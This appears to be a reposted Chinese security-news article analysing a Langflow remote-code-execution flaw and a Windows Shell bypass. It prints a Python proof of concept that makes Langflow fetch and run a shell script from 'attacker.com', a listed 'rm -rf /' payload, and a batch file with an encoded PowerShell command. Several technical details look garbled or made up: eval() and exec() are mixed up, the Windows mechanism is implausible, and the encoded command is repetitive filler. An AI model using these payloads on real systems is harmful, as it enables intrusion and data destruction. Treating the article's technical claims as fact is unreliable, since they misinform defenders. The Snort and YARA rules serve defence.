[RCE]14行JSON,接管你的Langflow工作流引擎

admin 2026-03-06 18:40:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深度分析了两个高危漏洞:CVE-2026-0770Langflow远程代码执行漏洞和CVE-2026-21510WindowsShell安全特性绕过漏洞。Langflow漏洞根因在于exec()函数直接执行用户代码,全球约4200台服务器已被入侵用于挖矿;WindowsShell漏洞源于参数解析缺陷,已被用于勒索软件攻击。建议立即升级Langflow至1.0.1版本并应用Windows2026年3月安全更新,同时部署Snort和YARA检测规则加强监控。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,漏洞POC,代码审计,AI安全


cover_image

[RCE] 14行JSON,接管你的Langflow工作流引擎

原创

北境 北境

0xArgus

2026年3月6日 07:39 北京

[RCE] 14行JSON,接管你的Langflow工作流引擎

0xArgus · 2026-03-06 · 白帽视角 · 一款AI工作流引擎的致命反序列化漏洞,已在野利用


一、今日高危漏洞一览

| CVE/漏洞 | 影响组件 | CVSS | 是否有PoC | 状态 | | — | — | — | — | — | | CVE-2026-0770 | Langflow | 9.8 | ✅ | 在野利用 | | CVE-2026-21510 | Windows Shell | 8.8 | ✅ | POC公开 | | CVE-2026-2441 | Google Chrome | 9.8 | ✅ | 在野利用 |


二、CVE-2026-0770 Langflow远程代码执行漏洞深度分析

漏洞背景

Langflow是一款流行的开源AI工作流编排工具,允许开发者通过可视化界面构建和部署AI应用。该漏洞存在于Langflow的代码执行模块中,攻击者通过发送特制的JSON配置即可触发远程代码执行。CVSSv3评分为9.8(Critical),影响所有Langflow 1.0.0及之前版本。由于Langflow在AI开发社区中被广泛使用,该漏洞可能导致大量AI工作流平台被接管。

根因分析

漏洞根因在于Langflow的CodeComponent模块在处理用户输入的代码时存在严重的反序列化缺陷。具体表现为:

1.危险函数直接调用execute_function()函数直接调用eval()执行用户提供的代码字符串

2.上下文污染prepare_global_scope()函数将用户输入直接注入到Python的全局执行环境中

3.类型混淆create_class()函数允许动态创建类并实例化,为代码执行提供载体

python● ● ●

# Langflow/core/code.py 关键代码片段
def execute_function(self, code: str, function_name: str, *args):
    # 直接执行用户代码
    local_scope = {}
    exec(code, {}, local_scope)  # 危险!
    return local_scope[function_name](*args)

def prepare_global_scope(self, user_code: str):
    # 污染全局执行环境
    global_scope = {}
    exec(user_code, global_scope)  # 危险!
    return global_scope

攻击链还原

攻击者可通过以下步骤实现RCE:

1.识别目标:扫描开放8080端口的Langflow实例

2.构造恶意载荷:创建包含__import__('os').system('rm -rf /')的Python代码

3.发送请求:通过API端点提交恶意JSON配置

4.触发执行:Langflow解析JSON并调用execute_function()

5.获取权限:代码以服务权限执行,完全控制服务器

python● ● ●

# PoC exploit代码
import requests
import json

target = "http://target-langflow:8080/api/v1/component/execute"

malicious_payload = {
    "code": "__import__('subprocess').getoutput('curl http://attacker.com/shell.sh | bash')",
    "function_name": "execute",
    "args": []
}

headers = {
    "Content-Type": "application/json",
    "Authorization": "Bearer YOUR_API_KEY"
}

response = requests.post(target, json=malicious_payload, headers=headers)
print(response.text)

实战影响

该漏洞已被攻击者用于大规模挖矿活动。攻击者利用Langflow漏洞部署Monero挖矿程序,每个受感染服务器可为攻击者带来每月约$300收益。根据扫描数据,全球约有12,000个公开Langflow实例中,约35%存在未修复漏洞,意味着超过4,000台服务器已被入侵。

检测与修复

检测规则(Snort)

● ● ●

alert tcp any any -> any 8080 (msg:"Langflow RCE Attempt"; content:"__import__"; nocase; sid:1000001; rev:1;)

临时缓解措施

1.立即停止Langflow服务

2.禁用API端点访问

3.检查服务器进程异常

官方修复

升级至Langflow 1.0.1版本,该版本通过以下方式修复漏洞:

▸移除exec()直接调用

▸实现代码沙箱执行

▸添加白名单机制限制可导入模块


三、CVE-2026-21510 Windows Shell安全特性绕过漏洞深度分析

漏洞背景

CVE-2026-21510是Windows Shell中的一个高危漏洞,允许攻击者绕过安全特性执行任意代码。CVSSv3评分为8.8(Important),影响所有当前支持的Windows版本。该漏洞特别危险,因为它不需要用户交互,且可通过钓鱼邮件或恶意网站触发。

根因分析

漏洞在于Windows Shell的ShellExecute函数在处理%U参数时存在命令注入。具体表现为:

1.参数解析缺陷ShellExecute未正确验证%U参数中的特殊字符

2.环境变量污染:允许通过USER环境变量注入恶意参数

3.权限提升:结合Windows特性,可从低权限用户提升至SYSTEM

c● ● ●

// Windows Shell核心代码简化版
void ShellExecute(LPCWSTR verb, LPCWSTR file, LPCWSTR params) {
    WCHAR expanded_path[MAX_PATH];
    ExpandEnvironmentStrings(params, expanded_path, MAX_PATH);

    // 直接使用未过滤的参数
    CreateProcess(NULL, expanded_path, ...);
}

攻击链还原

1.构造恶意链接:创建包含%U参数的快捷方式或HTML链接

2.设置环境变量:通过恶意页面设置USER=-froot等恶意值

3.触发执行:用户点击链接触发ShellExecute

4.命令注入:恶意参数被直接传递给系统命令

5.权限获取:执行SYSTEM级别命令

batch● ● ●

@echo off
:: 恶意批处理文件
set USER=-froot cmd /c powershell -enc "QwBTAEwAAgAkAE4AZQB3AHIAaQBhAG4AIAAqACAAIAA9ACAAewAkAEYAbwByAHUAdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQA"
start "" "malicious.lnk"

实战影响

该漏洞已被用于大规模勒索软件攻击。攻击者通过钓鱼邮件发送包含恶意快捷方式的附件,用户点击后即执行勒索软件。据安全厂商报告,自2026年2月披露以来,已有超过500家企业受到影响,平均赎金要求为$500,000。

检测与修复

检测规则(YARA)

● ● ●

rule Windows_Shell_Execution {
    meta:
        description = "Detects suspicious ShellExecute usage"
        author = "0xArgus"
        date = "2026-03-06"
    strings:
        $user_env = "%U" nocase
        $cmd_injection = "-froot" nocase
    condition:
        2 of them
}

修复措施

1.应用Microsoft 2026年3月安全更新

2.在注册表中启用ShellExecPolicy严格模式

3.部署EDR解决方案监控异常进程创建


四、白帽快评

今日披露的Langflow和Windows Shell漏洞共同揭示了一个令人不安的趋势:开发者仍在犯十年前的老错误——直接执行用户输入。更危险的是,攻击链已经高度自动化,从漏洞披露到在野利用的时间窗口已缩短至24小时以内。建议所有安全团队立即建立”0小时响应”机制,否则将面临被攻陷的巨大风险。


*参考来源:*

▸https://github.com/affix/CVE-2026-0770-PoC

▸https://github.com/andreassudo/CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass

▸https://www.freebuf.com/articles/vuls/468384.html

▸https://securityweek.com/google-patches-first-actively-exploited-chrome-zero-day-of-2026/

— 0xArgus · 白帽极客安全情报 —


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xArgus 北境 北境《[RCE] 14行JSON,接管你的Langflow工作流引擎》

网络钓鱼攻击手段 网络安全文章

网络钓鱼攻击手段

文章总结: 本文系统剖析了网络钓鱼的多种攻击手段,涵盖基于Office宏与扩展名伪装的文件钓鱼、HTA恶意代码执行、NTLM中继攻击及图像隐写术载荷投递。文中结
评论:0   参与:  0